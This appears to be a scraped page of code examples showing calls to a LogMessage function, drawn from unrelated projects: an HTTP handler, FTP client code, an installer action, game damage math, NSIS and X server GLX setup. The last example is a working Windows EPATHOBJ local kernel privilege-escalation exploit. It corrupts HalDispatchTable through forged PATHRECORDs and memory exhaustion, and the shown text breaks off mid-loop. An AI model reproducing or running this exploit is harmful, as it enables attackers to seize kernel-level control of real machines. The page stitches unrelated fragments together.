Ejemplo n.º 1
0
// MHTTPTransactionCallback interface functions
void CXmlHandler::MHFRunL(RHTTPTransaction aTransaction, const THTTPEvent& aEvent)
{
	switch (aEvent.iStatus) 
	{ 
	case THTTPEvent::EGotResponseHeaders: 
		{
			iObserver.GIEStateChanged(eStateFoundServer);				
			iModel.iState = eStateFoundServer;

			/*
			Not interested in the received header 
			*/
		}
		break; 
	case THTTPEvent::EGotResponseBodyData: 
		{

#ifdef _INCREMENTAL_H

#else
			/*
			The non incremental version of the parser will just build 
			up a string of the data until the EReponseComplete code is
			received. Then the string is sent to parser in one go
			*/
			RHTTPResponse response = aTransaction.Response();
			MHTTPDataSupplier* bodyPtr = response.Body();

			/*
			Received data is appended to the existing block (if there is a block),
			otherwise a new block is created
			*/
			TPtrC8 bodypart;
			bodyPtr->GetNextDataPart(bodypart);
			if (iQueryResponse == NULL)
			{
				iQueryResponse = HBufC8::NewL( bodypart.Length() );
			}
			else
			{
				const TInt newSize = iQueryResponse->Length() + bodypart.Length();
				iQueryResponse = iQueryResponse->ReAllocL( newSize );
			}
			TPtr8 tmp = iQueryResponse->Des();
			tmp.Append(bodypart);
			bodyPtr->ReleaseData();
#endif
		}
		break; 
	case THTTPEvent::EResponseComplete: 
		{
			iObserver.GIEStateChanged(eStateReceivedResponse);				
			iModel.iState = eStateReceivedResponse;

#ifdef _INCREMENTAL_H

#else
#ifdef LOG_RESONSE
			LogMessage(iFs, KResponseFilename, *iQueryResponse);
#endif
			/*
			Data block ready. Parse and fill data model
			*/
			OneTripParse(iQueryResponse->Des(), iModel.iError, iModel.iResult, iModel.iItems);
#endif				

			CleanupQueryText();
			iObserver.GIEStateChanged(eStateComplete);				
			iModel.iState = eStateComplete;

		}
		break; 
	case THTTPEvent::ESucceeded: 
		{
			// transaction successful
			// we do not do this in the response complete phase or error
			// phase as it is nicer to break it up because if the parser
			// is working non incrementally we have potientionally done
			// a lot of work in the ReponseComplete phase
			iObserver.GIEStateChanged(eStateComplete);				
			iModel.iState = eStateComplete;
		}
		break; 
	case THTTPEvent::EFailed: 
		{
			// Transaction failed
			MHFRunError(aEvent.iStatus, aTransaction, aEvent);
		}
		break;
	default: 
		{
			/* 
			All errors will fall through to the generic event handler
			The only exceptional error handling is done when the soap 
			request itself fails and it reports an error
			*/
			MHFRunError(aEvent.iStatus, aTransaction, aEvent);
		}
		break;
	}
}
Ejemplo n.º 2
0
int CControlSocket::ResetOperation(int nErrorCode)
{
	LogMessage(Debug_Verbose, _T("CControlSocket::ResetOperation(%d)"), nErrorCode);

	if (nErrorCode & FZ_REPLY_WOULDBLOCK)
	{
		LogMessage(::Debug_Warning, _T("ResetOperation with FZ_REPLY_WOULDBLOCK in nErrorCode (%d)"), nErrorCode);
	}

	if (m_pCurOpData && m_pCurOpData->holdsLock)
		UnlockCache();

	if (m_pCurOpData && m_pCurOpData->pNextOpData)
	{
		COpData *pNext = m_pCurOpData->pNextOpData;
		m_pCurOpData->pNextOpData = 0;
		delete m_pCurOpData;
		m_pCurOpData = pNext;
		if (nErrorCode == FZ_REPLY_OK ||
			nErrorCode == FZ_REPLY_ERROR ||
			nErrorCode == FZ_REPLY_CRITICALERROR)
		{
			return ParseSubcommandResult(nErrorCode);
		}
		else
			return ResetOperation(nErrorCode);
	}

	if ((nErrorCode & FZ_REPLY_CRITICALERROR) == FZ_REPLY_CRITICALERROR)
		LogMessage(::Error, _("Critical error"));

	if (m_pCurOpData)
	{
		const enum Command commandId = m_pCurOpData->opId;
		switch (commandId)
		{
		case cmd_none:
			break;
		case cmd_connect:
			if ((nErrorCode & FZ_REPLY_CANCELED) == FZ_REPLY_CANCELED)
				LogMessage(::Error, _("Connection attempt interrupted by user"));
			else if (nErrorCode != FZ_REPLY_OK)
				LogMessage(::Error, _("Could not connect to server"));
			break;
		case cmd_list:
			if ((nErrorCode & FZ_REPLY_CANCELED) == FZ_REPLY_CANCELED)
				LogMessage(::Error, _("Directory listing aborted by user"));
			else if (nErrorCode != FZ_REPLY_OK)
				LogMessage(::Error, _("Failed to retrieve directory listing"));
			else
				LogMessage(Status, _("Directory listing successful"));
			break;
		case cmd_transfer:
			{
				CFileTransferOpData *pData = static_cast<CFileTransferOpData *>(m_pCurOpData);
				if (!pData->download && pData->transferInitiated)
				{
					if (!m_pCurrentServer)
						LogMessage(__TFILE__, __LINE__, this, Debug_Warning, _T("m_pCurrentServer is 0"));
					else
					{
						CDirectoryCache cache;
						bool updated = cache.UpdateFile(*m_pCurrentServer, pData->remotePath, pData->remoteFile, true, CDirectoryCache::file, (nErrorCode == FZ_REPLY_OK) ? pData->localFileSize : -1);

						if (updated)
							m_pEngine->SendDirectoryListingNotification(pData->remotePath, false, true, false);
					}
				}
				if ((nErrorCode & FZ_REPLY_CANCELED) == FZ_REPLY_CANCELED)
					LogMessage(::Error, _("Transfer aborted by user"));
				else if (nErrorCode == FZ_REPLY_OK)
					LogMessage(Status, _("File transfer successful"));
			}
			break;
		default:
			if ((nErrorCode & FZ_REPLY_CANCELED) == FZ_REPLY_CANCELED)
				LogMessage(::Error, _("Interrupted by user"));
			break;
		}

		delete m_pCurOpData;
		m_pCurOpData = 0;
	}

	ResetTransferStatus();

	SetWait(false);

	if (m_invalidateCurrentPath)
	{
		m_CurrentPath.Clear();
		m_invalidateCurrentPath = false;
	}

	return m_pEngine->ResetOperation(nErrorCode);
}
Ejemplo n.º 3
0
/////////////////////////////////////////////////////////////////////
// 
// Function:    
//
// Description: 
//
/////////////////////////////////////////////////////////////////////
UINT CACCConfigMd5sum::OnExecution()
{
	tstring strDataDirectory;
	tstring strInstallDirectory;
	tstring strLocation;
	TCHAR   contents[8196];
    UINT    uiReturnValue = 0;
    TCHAR   szMessage[16392];
	FILE *file;
	memset(&contents,'\0',sizeof(contents));

	SetProperty(_T("KEEPEXISTINGCONFIG"), _T("0"));
    uiReturnValue = GetProperty( _T("INSTALLDIR"), strInstallDirectory );
    if ( uiReturnValue ) return uiReturnValue;
	if (strInstallDirectory.rfind('\\') != strInstallDirectory.size() - 1 ) {
		strInstallDirectory = strInstallDirectory + _T("\\");
		_sntprintf(szMessage,sizeof(szMessage),_T("Added trailing slash to install dir"),strLocation.c_str());
		LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
	}

    uiReturnValue = GetProperty( _T("DATADIR"), strDataDirectory );
    if ( uiReturnValue ) return uiReturnValue;
	if (strDataDirectory.rfind('\\') != strDataDirectory.size() - 1 ) {
		strDataDirectory = strDataDirectory + _T("\\");
		_sntprintf(szMessage,sizeof(szMessage),_T("Added trailing slash to data dir"),strLocation.c_str());
		LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
	}

	// Figure out of the file is in the data directory or the install directory
	// it should be in the data directory, but if it isn't we will check the install directory
    strLocation = strDataDirectory + _T("cc_config.xml");
	file = _tfopen(strLocation.c_str(), _T("r"));
	if ( file == NULL ) {
		_sntprintf(szMessage,sizeof(szMessage),_T("fopen: Error Message '%s': '%s'"),strerror(errno),strLocation.c_str());
		LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
		strLocation = strInstallDirectory + _T("cc_config.xml");
		file = _tfopen(strLocation.c_str(), _T("r"));
		if ( file == NULL ) {
			_sntprintf(szMessage,sizeof(szMessage),_T("fopen: Error Message '%s': '%s'"),strerror(errno),strLocation.c_str());
			LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
			return ERROR_SUCCESS;
		} else {
			_sntprintf(szMessage,sizeof(szMessage),_T("fopen: File found at: '%s'"),strLocation.c_str());
			LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
		}
	} else {
		_sntprintf(szMessage,sizeof(szMessage),_T("fopen: File found at: '%s'"),strLocation.c_str());
		LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
	}

	int bytesread = (int) fread(&contents, sizeof(char), sizeof(contents), file);
	if ( bytesread > 0 && bytesread < sizeof(char) ) {
		contents[bytesread]='\0';
	}

	if ( !feof(file) ) {
		_sntprintf(szMessage,sizeof(szMessage),_T("File is more than 8kb: '%s'"),strLocation);
		LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
		fclose(file);
		return ERROR_SUCCESS;
	}

	if ( ferror(file) ) {
		_sntprintf(szMessage,sizeof(szMessage),_T("Error reading file at: '%s'"),strLocation);
		LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
		return ERROR_FILE_INVALID;
	}

	fclose(file);

	remove_white(contents);

	_sntprintf(szMessage,sizeof(szMessage),_T("File contents: '%s'"),contents);
	LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);

	if ( CheckFile(contents) ) {
		if ( DeleteFile(strLocation.c_str()) ) {
			_sntprintf(szMessage,sizeof(szMessage),_T("Failed to delete CCConfig version from previous install.  Error Message '%s'"),strerror(errno));
			LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
			return ERROR_FAIL_I24;
		}
		_sntprintf(szMessage,sizeof(szMessage),_T("CCConfig was a version from previous install.  Deleted"));
		LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
		return ERROR_SUCCESS;
	}

	_sntprintf(szMessage,sizeof(szMessage),_T("CCConfig was not a version from previous install"));
	SetProperty(_T("KEEPEXISTINGCONFIG"), _T("1"));
	LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
    return ERROR_SUCCESS;
}
float Player::CalcDamage(int weapon_damage, int subcat, bool *critical)
{
	const short FRACTION_MULTIPLIER = 10000; //This value determines how many decimals of a percent are kept for rolling damage tables.
	const short FRACTION_FIXUP = 100;
    float damage_bonus;
    float damage_inflicted;
    short critical_chance = 5 * FRACTION_FIXUP; //5%
	short miss_chance = 5 * FRACTION_FIXUP; //5% , miss_chance of 0 = never miss.

	//This calculates a different crit value for any class that should have critical targeting.
    critical_chance += (short) 
		( (m_Stats.GetStatType(STAT_CRITICAL_RATE, STAT_BUFF_MULT)*FRACTION_MULTIPLIER) +
		(m_Stats.GetStatType(STAT_CRITICAL_RATE, STAT_BUFF_VALUE)*FRACTION_FIXUP) );

	if(FRACTION_MULTIPLIER-critical_chance < 0)
	{
		critical_chance = 0; //100% crits, when you hit.
	}

	//TO-DO: compute miss_chance based on weapon skill + buffs

    // Get Damage bonus by weapon type
    switch(subcat)
    {
    case 100:		// Beam
        damage_bonus = 1.0f + m_Stats.GetStatType(STAT_BEAM_DAMAGE, STAT_BUFF_MULT);
		
		//can't call CalculateStat because STAT_BASE_VALUE = 0, and so any % modifiers would be lost
		miss_chance -= (short) 
			( (m_Stats.GetStatType(STAT_BEAM_ACCURACY, STAT_BUFF_MULT)*FRACTION_MULTIPLIER) +
			(m_Stats.GetStatType(STAT_BEAM_ACCURACY, STAT_BUFF_VALUE)*FRACTION_FIXUP) );
        break;

    case 101:		// Projectile
        damage_bonus = 1.0f + m_Stats.GetStatType(STAT_PROJECTILES_DAMAGE, STAT_BUFF_MULT);
		
		//can't call CalculateStat because STAT_BASE_VALUE = 0, and so any % modifiers would be lost
		miss_chance -= (short) 
			( (m_Stats.GetStatType(STAT_PROJECTILES_ACCURACY, STAT_BUFF_MULT)*FRACTION_MULTIPLIER) +
			(m_Stats.GetStatType(STAT_PROJECTILES_ACCURACY, STAT_BUFF_VALUE)*FRACTION_FIXUP) );
        break;

    case 102:		// Missiles
        damage_bonus = 1.0f + m_Stats.GetStatType(STAT_MISSILE_DAMAGE, STAT_BUFF_MULT);

		//can't call CalculateStat because STAT_BASE_VALUE = 0, and so any % modifiers would be lost
		miss_chance -= (short) 
			( (m_Stats.GetStatType(STAT_MISSILE_ACCURACY, STAT_BUFF_MULT)*FRACTION_MULTIPLIER) +
			(m_Stats.GetStatType(STAT_MISSILE_ACCURACY, STAT_BUFF_VALUE)*FRACTION_FIXUP) );
        break;

    default:
        LogMessage("ERROR: Weapon subcategory [%d] wrong for %s\n", subcat, Name());
        damage_bonus = 0.0f;
        break;
    }

    //find the base weapon damage, first have we got a critical or missed?
    short to_hit = (rand() % FRACTION_MULTIPLIER) + 1;

    float damage_fraction = 1.0f;

    //This system rolls a number, and then determines which category of damage it falls into.
	//It is still possible to miss with a 100% crit rate. It is possible to miss on a crit.
    if (to_hit <= miss_chance)
	{
        //Weapon missed, damage zero
        damage_bonus = 0;
    }
    else if (to_hit >= FRACTION_MULTIPLIER-critical_chance)
    {
        //Critical!! Double damage
        damage_bonus = damage_bonus * 2.0f;
        *critical = true;
    }
	//IMPLIED else: did normal damage.

	//TO-DO: Put in fractional damage FOR BEAMS ONLY, and also DOTs for Chemical/Plasma damage.

    //Now calculate the damage based on weapon base damage and bonus.
    damage_inflicted = damage_fraction * (float)(weapon_damage) * damage_bonus;

    return (damage_inflicted);
}
Ejemplo n.º 5
0
bool CControlSocket::SetFileExistsAction(CFileExistsNotification *pFileExistsNotification)
{
	wxASSERT(pFileExistsNotification);

	if (!m_pCurOpData || m_pCurOpData->opId != cmd_transfer)
	{
		LogMessage(__TFILE__, __LINE__, this, Debug_Info, _T("No or invalid operation in progress, ignoring request reply %f"), pFileExistsNotification->GetRequestID());
		return false;
	}

	CFileTransferOpData *pData = static_cast<CFileTransferOpData *>(m_pCurOpData);

	switch (pFileExistsNotification->overwriteAction)
	{
	case CFileExistsNotification::overwrite:
		SendNextCommand();
		break;
	case CFileExistsNotification::overwriteNewer:
		if (!pFileExistsNotification->localTime.IsValid() || !pFileExistsNotification->remoteTime.IsValid())
			SendNextCommand();
		else if (pFileExistsNotification->download && pFileExistsNotification->localTime.IsEarlierThan(pFileExistsNotification->remoteTime))
			SendNextCommand();
		else if (!pFileExistsNotification->download && pFileExistsNotification->localTime.IsLaterThan(pFileExistsNotification->remoteTime))
			SendNextCommand();
		else
		{
			if (pData->download)
			{
				wxString filename = pData->remotePath.FormatFilename(pData->remoteFile);
				LogMessage(Status, _("Skipping download of %s"), filename.c_str());
			}
			else
			{
				LogMessage(Status, _("Skipping upload of %s"), pData->localFile.c_str());
			}
			ResetOperation(FZ_REPLY_OK);
		}
		break;
	case CFileExistsNotification::overwriteSize:
		/* First compare flags both size known but different, one size known and the other not (obviously they are different).
		Second compare flags the remaining case in which we need to send command : both size unknown */
		if ((pFileExistsNotification->localSize != pFileExistsNotification->remoteSize) || (pFileExistsNotification->localSize == -1))
			SendNextCommand();
		else
		{
			if (pData->download)
			{
				wxString filename = pData->remotePath.FormatFilename(pData->remoteFile);
				LogMessage(Status, _("Skipping download of %s"), filename.c_str());
			}
			else
			{
				LogMessage(Status, _("Skipping upload of %s"), pData->localFile.c_str());
			}
			ResetOperation(FZ_REPLY_OK);
		}
		break;
	case CFileExistsNotification::overwriteSizeOrNewer:
		if (!pFileExistsNotification->localTime.IsValid() || !pFileExistsNotification->remoteTime.IsValid())
			SendNextCommand();
		/* First compare flags both size known but different, one size known and the other not (obviously they are different).
		Second compare flags the remaining case in which we need to send command : both size unknown */
		else if ((pFileExistsNotification->localSize != pFileExistsNotification->remoteSize) || (pFileExistsNotification->localSize == -1))
			SendNextCommand();
		else if (pFileExistsNotification->download && pFileExistsNotification->localTime.IsEarlierThan(pFileExistsNotification->remoteTime))
			SendNextCommand();
		else if (!pFileExistsNotification->download && pFileExistsNotification->localTime.IsLaterThan(pFileExistsNotification->remoteTime))
			SendNextCommand();
		else
		{
			if (pData->download)
			{
				wxString filename = pData->remotePath.FormatFilename(pData->remoteFile);
				LogMessage(Status, _("Skipping download of %s"), filename.c_str());
			}
			else
			{
				LogMessage(Status, _("Skipping upload of %s"), pData->localFile.c_str());
			}
			ResetOperation(FZ_REPLY_OK);
		}
		break;
	case CFileExistsNotification::resume:
		if (pData->download && pData->localFileSize != -1)
			pData->resume = true;
		else if (!pData->download && pData->remoteFileSize != -1)
			pData->resume = true;
		SendNextCommand();
		break;
	case CFileExistsNotification::rename:
		if (pData->download)
		{
			wxFileName fn = pData->localFile;
			fn.SetFullName(pFileExistsNotification->newName);
			pData->localFile = fn.GetFullPath();

			wxLongLong size;
			bool isLink;
			if (CLocalFileSystem::GetFileInfo(pData->localFile, isLink, &size, 0, 0) == CLocalFileSystem::file)
				pData->localFileSize = size.GetValue();
			else
				pData->localFileSize = -1;

			if (CheckOverwriteFile() == FZ_REPLY_OK)
				SendNextCommand();
		}
		else
		{
			pData->remoteFile = pFileExistsNotification->newName;

			CDirectoryCache cache;

			CDirentry entry;
			bool dir_did_exist;
			bool matched_case;
			if (cache.LookupFile(entry, *m_pCurrentServer, pData->tryAbsolutePath ? pData->remotePath : m_CurrentPath, pData->remoteFile, dir_did_exist, matched_case) &&
				matched_case)
			{
				wxLongLong size = entry.size;
				pData->remoteFileSize = size.GetLo() + ((wxFileOffset)size.GetHi() << 32);

				if (CheckOverwriteFile() != FZ_REPLY_OK)
					break;
			}

			SendNextCommand();
		}
		break;
	case CFileExistsNotification::skip:
		if (pData->download)
		{
			wxString filename = pData->remotePath.FormatFilename(pData->remoteFile);
			LogMessage(Status, _("Skipping download of %s"), filename.c_str());
		}
		else
		{
			LogMessage(Status, _("Skipping upload of %s"), pData->localFile.c_str());
		}
		ResetOperation(FZ_REPLY_OK);
		break;
	default:
		LogMessage(__TFILE__, __LINE__, this, Debug_Warning, _T("Unknown file exists action: %d"), pFileExistsNotification->overwriteAction);
		ResetOperation(FZ_REPLY_INTERNALERROR);
		return false;
	}

	return true;
}
Ejemplo n.º 6
0
DWORD WINAPI MakeNSISProc(LPVOID p) {
	char buf[1024];
	STARTUPINFO si={sizeof(si),};
	SECURITY_ATTRIBUTES sa={sizeof(sa),};
	SECURITY_DESCRIPTOR sd={0,};
	PROCESS_INFORMATION pi={0,};
	HANDLE newstdout=0,read_stdout=0; 

	OSVERSIONINFO osv={sizeof(osv)};
	GetVersionEx(&osv);
	if (osv.dwPlatformId == VER_PLATFORM_WIN32_NT) {
		InitializeSecurityDescriptor(&sd,SECURITY_DESCRIPTOR_REVISION);
		SetSecurityDescriptorDacl(&sd,true,NULL,false);
		sa.lpSecurityDescriptor = &sd;
	}
	else sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = true;
	if (!CreatePipe(&read_stdout,&newstdout,&sa,0)) {
		ErrorMessage(g_hwnd,"There was an error creating the pipe.");
		PostMessage(g_hwnd,WM_MAKENSIS_PROCESSCOMPLETE,0,0);
		return 1;
	}
	GetStartupInfo(&si);
	si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	si.hStdOutput = newstdout;
	si.hStdError = newstdout;
	if (!CreateProcess(NULL,g_script,NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi)) {
		char buf[MAX_STRING];
		wsprintf(buf,"Could not execute:\r\n %s.",g_script);
		ErrorMessage(g_hwnd,buf);
		CloseHandle(newstdout);
		CloseHandle(read_stdout);
		PostMessage(g_hwnd,WM_MAKENSIS_PROCESSCOMPLETE,0,0);
		return 1;
	}
	unsigned long exit=0,read,avail;
	my_memset(buf,0,sizeof(buf));
	while(1) {
		PeekNamedPipe(read_stdout,buf,sizeof(buf)-1,&read,&avail,NULL);
		if (read != 0) {
			my_memset(buf,0,sizeof(buf));
			if (avail > sizeof(buf)-1) 	{
				while (read >= sizeof(buf)-1) {
					ReadFile(read_stdout,buf,sizeof(buf)-1,&read,NULL);
					LogMessage(g_hwnd,buf);
					my_memset(buf,0,sizeof(buf));
				}
			}
			else {
				ReadFile(read_stdout,buf,sizeof(buf),&read,NULL);
				LogMessage(g_hwnd,buf);
			}			
		}
		GetExitCodeProcess(pi.hProcess,&exit);
		if (exit != STILL_ACTIVE) break;
		Sleep(TIMEOUT);
	}
	g_retcode = exit;
	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
	CloseHandle(newstdout);
	CloseHandle(read_stdout);
	PostMessage(g_hwnd,WM_MAKENSIS_PROCESSCOMPLETE,0,0);
	return 0;
}
Ejemplo n.º 7
0
/*
** Initialize the GLX extension.
*/
void
GlxExtensionInit(void)
{
    ExtensionEntry *extEntry;
    ScreenPtr pScreen;
    int i;
    __GLXprovider *p, **stack;
    Bool glx_provided = False;

    if (serverGeneration == 1) {
        for (stack = &__glXProviderStack; *stack; stack = &(*stack)->next)
            ;
        *stack = &__glXDRISWRastProvider;
    }

    __glXContextRes = CreateNewResourceType((DeleteType) ContextGone,
                                            "GLXContext");
    __glXDrawableRes = CreateNewResourceType((DeleteType) DrawableGone,
                                             "GLXDrawable");
    if (!__glXContextRes || !__glXDrawableRes)
        return;

    if (!dixRegisterPrivateKey
        (&glxClientPrivateKeyRec, PRIVATE_CLIENT, sizeof(__GLXclientState)))
        return;
    if (!AddCallback(&ClientStateCallback, glxClientCallback, 0))
        return;

    for (i = 0; i < screenInfo.numScreens; i++) {
        pScreen = screenInfo.screens[i];

        for (p = __glXProviderStack; p != NULL; p = p->next) {
            __GLXscreen *glxScreen;

            glxScreen = p->screenProbe(pScreen);
            if (glxScreen != NULL) {
                if (glxScreen->GLXminor < glxMinorVersion)
                    glxMinorVersion = glxScreen->GLXminor;
                LogMessage(X_INFO,
                           "GLX: Initialized %s GL provider for screen %d\n",
                           p->name, i);
                break;
            }

        }

        if (!p)
            LogMessage(X_INFO,
                       "GLX: no usable GL providers found for screen %d\n", i);
        else
            glx_provided = True;
    }

    /* don't register extension if GL is not provided on any screen */
    if (!glx_provided)
        return;

    /*
     ** Add extension to server extensions.
     */
    extEntry = AddExtension(GLX_EXTENSION_NAME, __GLX_NUMBER_EVENTS,
                            __GLX_NUMBER_ERRORS, __glXDispatch,
                            __glXDispatch, ResetExtension, StandardMinorOpcode);
    if (!extEntry) {
        FatalError("__glXExtensionInit: AddExtensions failed\n");
        return;
    }
    if (!AddExtensionAlias(GLX_EXTENSION_ALIAS, extEntry)) {
        ErrorF("__glXExtensionInit: AddExtensionAlias failed\n");
        return;
    }

    __glXErrorBase = extEntry->errorBase;
    __glXEventBase = extEntry->eventBase;
#if PRESENT
    __glXregisterPresentCompleteNotify();
#endif
}
Ejemplo n.º 8
0
int main(int argc, char **argv)
{
    HANDLE               Thread;
    HDC                  Device;
    ULONG                Size;
    ULONG                PointNum;
    HMODULE              KernelHandle;
    PULONG               DispatchRedirect;
    PULONG               Interval;
    ULONG                SavedInterval;
    RTL_PROCESS_MODULES  ModuleInfo;

    LogMessage(L_INFO, "\r--------------------------------------------------\n"
                       "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
                       "\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n"
                       "\n");

    NtQueryIntervalProfile    = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
    NtQuerySystemInformation  = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
    Mutex                     = CreateMutex(NULL, FALSE, NULL);
    DispatchRedirect          = (PVOID) HalDispatchRedirect;
    Interval                  = (PULONG) ShellCode;
    SavedInterval             = Interval[0];
    TargetPid                 = GetCurrentProcessId();

    LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile);
    LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation);

    // Lookup the address of system modules.
    NtQuerySystemInformation(SystemModuleInformation,
                             &ModuleInfo,
                             sizeof ModuleInfo,
                             NULL);

    LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p",
                        ModuleInfo.Modules[0].FullPathName,
                        ModuleInfo.Modules[0].ImageBase);

    // Lookup some system routines we require.
    KernelHandle                = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
    HalDispatchTable            = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable")           - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
    PsInitialSystemProcess      = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess")     - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
    PsReferencePrimaryToken     = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken")    - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
    PsLookupProcessByProcessId  = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;

    // Search for a ret instruction to install in the damaged HalDispatchTable.
    HalQuerySystemInformation   = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
                                - (ULONG) KernelHandle
                                + (ULONG) ModuleInfo.Modules[0].ImageBase;

    LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);

    // Create our PATHRECORD in user space we will get added to the EPATHOBJ
    // pathrecord chain.
    PathRecord = VirtualAlloc(NULL,
                              sizeof *PathRecord,
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord);

    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
    // loop in EPATHOBJ::bFlatten().
    PathRecord->flags   = 0;
    PathRecord->next    = PathRecord;
    PathRecord->prev    = (PPATHRECORD)(0x42424242);

    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);

    // Now we need to create a PATHRECORD at an address that is also a valid
    // x86 instruction, because the pointer will be interpreted as a function.
    // I've created a list of candidates in DispatchRedirect.
    LogMessage(L_INFO, "Searching for an available stub address...");

    // I need to map at least two pages to guarantee the whole structure is
    // available.
    while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
                         PAGE_SIZE * 2,
                         MEM_COMMIT | MEM_RESERVE,
                         PAGE_EXECUTE_READWRITE)) {

        LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
                            *DispatchRedirect & ~(PAGE_SIZE - 1),
                            GetLastError());

        // This page is not available, try the next candidate.
        if (!*++DispatchRedirect) {
            LogMessage(L_ERROR, "No redirect candidates left, sorry!");
            return 1;
        }
    }

    LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect);

    // This PATHRECORD must terminate the list and recover.
    ExploitRecordExit           = (PPATHRECORD) *DispatchRedirect;
    ExploitRecordExit->next     = NULL;
    ExploitRecordExit->prev     = NULL;
    ExploitRecordExit->flags    = PD_BEGINSUBPATH;
    ExploitRecordExit->count    = 0;

    LogMessage(L_INFO, "  ->next  @ %p", ExploitRecordExit->next);
    LogMessage(L_INFO, "  ->prev  @ %p", ExploitRecordExit->prev);
    LogMessage(L_INFO, "  ->flags @ %u", ExploitRecordExit->flags);

    // This is the second stage PATHRECORD, which causes a fresh PATHRECORD
    // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
    // be copied over to the new record. Therefore, we get
    //
    // nt!HalDispatchTable[1] = &ExploitRecordExit.
    //
    // So we make &ExploitRecordExit a valid sequence of instuctions here.
    LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord);

    ExploitRecord.next          = (PPATHRECORD) *DispatchRedirect;
    ExploitRecord.prev          = (PPATHRECORD) &HalDispatchTable[1];
    ExploitRecord.flags         = PD_BEZIERS | PD_BEGINSUBPATH;
    ExploitRecord.count         = 4;

    LogMessage(L_INFO, "  ->next  @ %p", ExploitRecord.next);
    LogMessage(L_INFO, "  ->prev  @ %p", ExploitRecord.prev);
    LogMessage(L_INFO, "  ->flags @ %u", ExploitRecord.flags);

    LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);

    // Generate a large number of Belier Curves made up of pointers to our
    // PATHRECORD object.
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }

    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    SetThreadDesktop(CreateDesktop("DontPanic",
                                   NULL,
                                   NULL,
                                   0,
                                   GENERIC_ALL,
                                   NULL));

    // Get a handle to this Desktop.
    Device = GetDC(NULL);

    // Take ownership of Mutex
    WaitForSingleObject(Mutex, INFINITE);

    // Spawn a thread to cleanup
    Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

    LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");

    // We need to cause a specific AllocObject() to fail to trigger the
    // exploitable condition. To do this, I create a large number of rounded
    // rectangular regions until they start failing. I don't think it matters
    // what you use to exhaust paged memory, there is probably a better way.
    //
    // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
    // failure. Seriously, do some damn QA Microsoft, wtf.
    for (Size = 1 << 26; Size; Size >>= 1) {
        while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
            NumRegion++;
    }

    LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);

    LogMessage(L_INFO, "Flattening curves...");

    for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) {
        BeginPath(Device);
        PolyDraw(Device, Points, PointTypes, PointNum);
        EndPath(Device);
        FlattenPath(Device);
        FlattenPath(Device);

        // Test if exploitation succeeded.
